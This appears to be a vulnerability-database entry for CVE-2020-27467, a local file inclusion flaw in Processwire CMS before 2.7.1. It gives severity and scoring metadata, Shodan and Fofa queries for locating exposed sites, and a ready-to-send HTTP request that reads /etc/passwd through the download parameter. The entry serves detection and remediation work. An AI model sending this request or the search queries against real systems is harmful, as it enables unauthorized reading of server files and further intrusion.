| Title | Processwire CMS <2.7.1 - Local File Inclusion |
|---|---|
| Author | 0x_Akoko |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or gain unauthorized access to the system. |
| Remediation | Upgrade Processwire CMS to version 2.7.1 or later to fix the Local File Inclusion vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.79832 |
| CVE ID | CVE-2020-27467 |
| CWE ID | CWE-22 |
| Shodan Query | http.html:"processwire" |
| Fofa Query | body="processwire" |
| Tags | cve cve2020 processwire lfi cms oss vuln |
Processwire CMS prior to 2.7.1 is vulnerable to local file inclusion because it allows a remote attacker to retrieve sensitive files via the download parameter to index.php.
GET /index.php?download=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15 AlohaBrowser/7.6.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-27467.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-27467.pcap
N/AN/A